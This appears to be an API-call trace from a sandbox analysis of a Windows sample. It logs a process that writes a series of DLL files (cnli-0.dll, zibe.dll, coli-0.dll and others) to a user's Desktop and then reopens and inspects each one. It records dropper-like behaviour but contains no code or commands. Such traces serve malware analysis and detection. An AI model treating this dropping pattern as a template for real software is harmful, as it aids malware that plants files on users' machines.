[0126.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll", lpFilePart=0x0) returned 0x30
[0126.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0126.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\adfw-2.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\adfw-2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8
[0126.899] GetFileType (hFile=0x3c8) returned 0x1
[0126.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0126.899] GetFileType (hFile=0x3c8) returned 0x1
[0126.899] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.909] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnli-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3cc
[0126.910] GetFileType (hFile=0x3cc) returned 0x1
[0126.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.910] GetFileType (hFile=0x3cc) returned 0x1
[0126.911] WriteFile (in: hFile=0x3cc, lpBuffer=0x15916878*, nNumberOfBytesToWrite=0x1a000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x15916878*, lpNumberOfBytesWritten=0x2ea818*=0x1a000, lpOverlapped=0x0) returned 1
[0126.914] CloseHandle (hObject=0x3cc) returned 1
[0126.920] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0126.921] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnli-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28120d40, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28120d40, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28146ea0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x1a000)) returned 1
[0126.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0126.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll", lpFilePart=0x0) returned 0x30
[0126.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0126.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnli-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3cc
[0126.921] GetFileType (hFile=0x3cc) returned 0x1
[0126.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0126.921] GetFileType (hFile=0x3cc) returned 0x1
[0126.921] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0126.940] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0126.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zibe.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d0
[0126.941] GetFileType (hFile=0x3d0) returned 0x1
[0126.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0126.941] GetFileType (hFile=0x3d0) returned 0x1
[0126.941] WriteFile (in: hFile=0x3d0, lpBuffer=0x159308b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x159308b0*, lpNumberOfBytesWritten=0x2ea818*=0x40000, lpOverlapped=0x0) returned 1
[0126.947] CloseHandle (hObject=0x3d0) returned 1
[0126.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0126.997] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zibe.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2816d000, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2816d000, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28205580, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x40000)) returned 1
[0126.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0126.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0126.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0126.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zibe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d0
[0126.997] GetFileType (hFile=0x3d0) returned 0x1
[0126.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0126.997] GetFileType (hFile=0x3d0) returned 0x1
[0126.997] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.009] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.009] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnli-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d4
[0127.014] GetFileType (hFile=0x3d4) returned 0x1
[0127.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.015] GetFileType (hFile=0x3d4) returned 0x1
[0127.015] WriteFile (in: hFile=0x3d4, lpBuffer=0x159708e8*, nNumberOfBytesToWrite=0x18a00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x159708e8*, lpNumberOfBytesWritten=0x2ea818*=0x18a00, lpOverlapped=0x0) returned 1
[0127.018] CloseHandle (hObject=0x3d4) returned 1
[0127.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.024] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.025] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnli-1.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2822b6e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x2822b6e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x28251840, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18a00)) returned 1
[0127.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.025] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll", lpFilePart=0x0) returned 0x30
[0127.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.025] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cnli-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cnli-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d4
[0127.025] GetFileType (hFile=0x3d4) returned 0x1
[0127.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.025] GetFileType (hFile=0x3d4) returned 0x1
[0127.026] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.033] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.034] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\coli-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d8
[0127.035] GetFileType (hFile=0x3d8) returned 0x1
[0127.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.035] GetFileType (hFile=0x3d8) returned 0x1
[0127.036] WriteFile (in: hFile=0x3d8, lpBuffer=0x27a89e8*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ea818, lpOverlapped=0x0 | out: lpBuffer=0x27a89e8*, lpNumberOfBytesWritten=0x2ea818*=0x3c00, lpOverlapped=0x0) returned 1
[0127.038] CloseHandle (hObject=0x3d8) returned 1
[0127.051] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\coli-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28251840, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x28251840, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282779a0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x3c00)) returned 1
[0127.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.052] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll", lpFilePart=0x0) returned 0x30
[0127.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.052] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\coli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\coli-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3d8
[0127.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.053] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.094] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\crli-0.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc
[0127.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea280, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6c0) returned 1
[0127.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\crli-0.dll"), fInfoLevelId=0x0, lpFileInformation=0x2ea7a0 | out: lpFileInformation=0x2ea7a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x282c3c60, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x282c3c60, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x282c3c60, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4400)) returned 1
[0127.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea680) returned 1
[0127.098] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll", lpFilePart=0x0) returned 0x30
[0127.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea5f0) returned 1
[0127.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\crli-0.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\crli-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3dc
[0127.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea560) returned 1
[0127.099] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x2ea1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25
[0127.102] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea210, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0127.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ea6f0) returned 1
[0127.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dmgd-1.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3e0
[0127.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ea660) returned 1
[0127.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea2b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0127.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
[0127.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", nBufferLength=0x105, lpBuffer=0x2ea270, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dmgd-1.dll", lpFilePart=0x0) returned 0x30
